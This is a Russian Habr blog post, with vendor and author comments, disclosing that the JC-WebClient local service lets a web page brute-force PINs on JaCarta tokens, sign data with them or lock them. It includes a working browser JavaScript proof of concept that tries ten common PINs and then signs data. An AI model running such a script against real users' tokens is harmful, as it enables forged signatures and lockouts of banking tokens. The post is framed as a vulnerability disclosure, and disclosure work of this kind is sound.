«Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман.»

М.А. Булгаков
«Мастер и Маргарита»


Привет, Хабр! Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске. Речь идёт об изделиях JaCarta и софте к ним. Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API. Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от «Аладдин Р.Д.».

Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке «JC-WebClient-4.0.0.1186» на сайтах ДБО.

После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.

https://localhost:24738/JCWebClient.js

На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет «Единый клиент JaCarta») и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.

Не секрет, что пользователи часто оставляют у токена пин код по умолчанию, или тот с которым его получили (обычно боятся, что при смене пин кода всё перестанет работать).

Чаще всего используются пин коды вида 123456, а токен в течении рабочего дня, а то и круглосуточно, воткнут в порт компа или usb хаба.

Благодаря JC-WebClient, если такому пользователю подсунуть вебстраницу или письмо с нехитрым JavaScript'ом, то появляется возможность хотя и не получить ключи токена (это в ряде случаев возможно только путём непосредственного доступа к файловой системе токена, пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.

В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.



Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.

Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE :)

Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.

В скрипте реализован полный перебор 10 попыток ввода пин кода «на убой» токена, поэтому запускать скрипт можно только с тестовым токеном!

Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.

Результат тестирования:


Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.
Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.

Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
 document.write("Подключено токенов: "+slots.length+"
");

//Выводим модель токенов
for (i = 0; i < slots.length; i++) {
   var slot = slots[i];
 document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
}

var tokenID = slot.id,        // Идентификатор токена
    userPin = '111111'; // PIN-код пользователя

// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

// Предъявить PIN-код
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: userPin
   }
});

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

// Создать контейнер с ключевой парой и присвоить ему имя
var keyPairID = JCWebClient2.createKeyPair({
   args: {
      paramSet: "XA",
      description: "my description",
      algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256
   }
});

// Задать отличительное имя пользователя (Distinguished Name (DN)),
// включающее стандартное имя (Common Name, (CN))
var dn = {
   'CN': '123',
   'C': 'RU'
};

// Задать расширения, определяющие область применения закрытого ключа
var exts = {
   'keyUsage': 'Digital Signature'
};

// Записать сертификат
var contID = JCWebClient2.generateUserSelfSignedCertificate({
   args: {
      keyPairID: keyPairID,
      dn: dn,
      exts: exts,
      days: 365
   }
});

//Массив информации на токенах
var list=[]; 

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});

//Получаем id и информацию о созданном контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+" 
");
document.write("Описание контейнера: "+data.description+" 
");
document.write("Алгоритм подписи: "+data.algorithm+" 
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

И собственно сам скрипт аудита безопасности:

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: "+slots.length+"
");

//Выводим модель токенов
for (i = 0; i < slots.length; i++) {
   var slot = slots[i];
   document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
                                   }
// Идентификатор токена
var tokenID = slot.id;        
   
// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

//Массив информации на токенах
var list=[]; 

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});

//Получаем id и информацию о контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+" 
");
document.write("Описание контейнера: "+data.description+" 
");
document.write("Алгоритм подписи: "+data.algorithm+" 
");

// Данные для подписи (Hello World закодированное Base64)
var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; 
document.write("Данные для подписи: "+dataToSign+" 
");

//Массив пин кодов 
var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"];

//функция авторизации
function bind(pass)
{
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: pass
   }
});
}

var i=0;
//Перебор пин кодов в цикле
//Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!!
while (i < 10) {
i++;
try{
bind(pin[i]);
tokenState = JCWebClient2.getLoggedInState();
//Если атака удалась, выводим результат и завершаем цикл
if(tokenState.state=1) 
{
document.write("Успешно подобран пин код: "+pin[i]+"
");
break;
}
   }
//Вывод информации об ошибке
catch(e){document.write(e+"
");}
   }

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

//Получаем содерижимое сертификата
var CertificateBody=JCWebClient2.getCertificateBody({
   args: {
      id: contID      
   }
});
document.write("CertificateBody:  "+CertificateBody+"
");

// Подписать данные, используя программное хэширование и вывести подписанное в Base64
var signedData = JCWebClient2.signBase64EncodedData({
   args: {
      contID: contID,
      data: dataToSign,
      attachedSignature: true
   }
});
document.write("Подписано успешно. 
");
document.write("Подписанные данные: "+signedData+" 
");

//Проверка подписи
var signature = signedData;
var res = JCWebClient2.verifyBase64EncodedData({
   args: {
      signature: signature
   }
});
document.write("Результат проверки подписи: "+res+" 
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

> Источник информации по API JC-WebClient

Комментарии (3)


  1. AladdinRD
    11.02.2019 14:45

    Описанная возможность попыток подбора PIN-кода, когда PIN оставлен стандартным или изменен на достаточно простой, не является специфичной для токенов производства «Аладдин Р.Д.», она общая для подобных устройств. Аналогичная ситуация при попытках блокировки токенов после неудачных попыток ввода PIN-кода. При использовании токенов для защиты от подобных атак существуют общеизвестные рекомендации для владельцев токенов:

    • необходимо отключать устройство от компьютера в период, когда не требуется выполнять операции с его использованием;
    • владелец токена не должен посещать посторонние сайты или переходить по ссылкам в то время, когда токен подключен и используется;
    • стандартный пароль от токена (PIN-код) необходимо менять на более сложный при первом использовании (рекомендуемая длина – от 6 символов).

    Понимая, что не все владельцы токенов следуют общеизвестным рекомендациям, мы специально предусмотрели в наших продуктах дополнительную защиту и функциональность. Так, токены JaCarta-2 ГОСТ поддерживают
    1. Возможность установить гибкие политики использования PIN-кодов перед выдачей токена пользователю:

    a. необходимость смены PIN-кода при первом использовании;
    b. минимальная длина;
    c. обязательное наличие специальных символов (!, $, #, % и др. символов, коды которых находятся в диапазонах 20h–2Fh, 3Ah–40h, 5Bh–60h и 7Bh–7Eh);
    d. обязательное наличие цифр (от 0 до 9, т.е. символов, коды которых находятся в диапазоне 30h–39h);
    e. обязательное наличие строчных букв (от a до z или от а до я в кодировке Windows-1251, т.е. символов, коды которых находятся в диапазонах 61h– 7Ah и E0h–FFh);
    f. обязательное наличие прописных букв (от A до Z или от А до Я в кодировке Windows-1251, т.е. символов, коды которых находятся в диапазонах 41h– 5Ah и С0h–DFh).

    2. Различные механизмы разблокировки токена:
    a. разблокировка по PUK-коду;
    b. разблокировка по времени;
    c. разблокировка с использованием механизма Challenge-Response.

    Таким образом, рекомендуем Вам использовать специально реализованные в токенах механизмы – и описанных Вами проблем возможного подбора «слабого» PIN-кода или невозможности разблокировки не будет.
    Более того, мы пошли далее, и решили сделать работу пользователей еще более удобной, реализовав в новой версии JC-WebClient 4.2 механизм фильтрации сайтов, которые работают с токеном. JC-WebClient проверяет адрес сайта, который обращается к токену, и, если сайт не находится в списке доверенных, JC-WebClient блокирует такую попытку и запрашивает подтверждение пользователя.

    В случае подтверждения адрес сайта заносится в список доверенных, и далее подтверждение больше не требуется. При необходимости пользователь может удалить сайт из списка доверенных через интерфейс JC-WebClient.
    Такая дополнительная функциональность предотвращает попытки фишинговых сайтов заблокировать токен. До необходимости разблокировки дело даже не доходит.

    P.S. При работе с моделями eToken PRO (Java) или JaCarta PRO также предусмотрена возможность установить требование на сложность PIN-кода, необходимость принудительной смены PIN-кода по умолчанию и задействовать механизм разблокировки. Описанная выше функциональность доверенных сайтов также работает в отношении указанных моделей.


    1. Protos
      11.02.2019 14:52
      +2

      Спасибо, тоже не знал


  1. DWarlock Автор
    12.02.2019 04:12

    Механизм фильтрации сайтов это конечно хорошо, но с учётом большой «любви» отечественных пользователей к обновлению ПО (которое, с учётом политики его распостранения ещё надо получить от своего банка, а некоторые банки до сих пор работают с версией JC-WebClient 3), полагаться можно только на надёжность пин кода и главное правило безопасности при работе с банк-клиентами — отдельный комп
    на котором работают только с банком и больше ни с чем, но это опять же не во всех компаниях соблюдается, обычно это комп бухгалтера, где и почта со всего мира, а в не рабочее время ещё и порно качают ))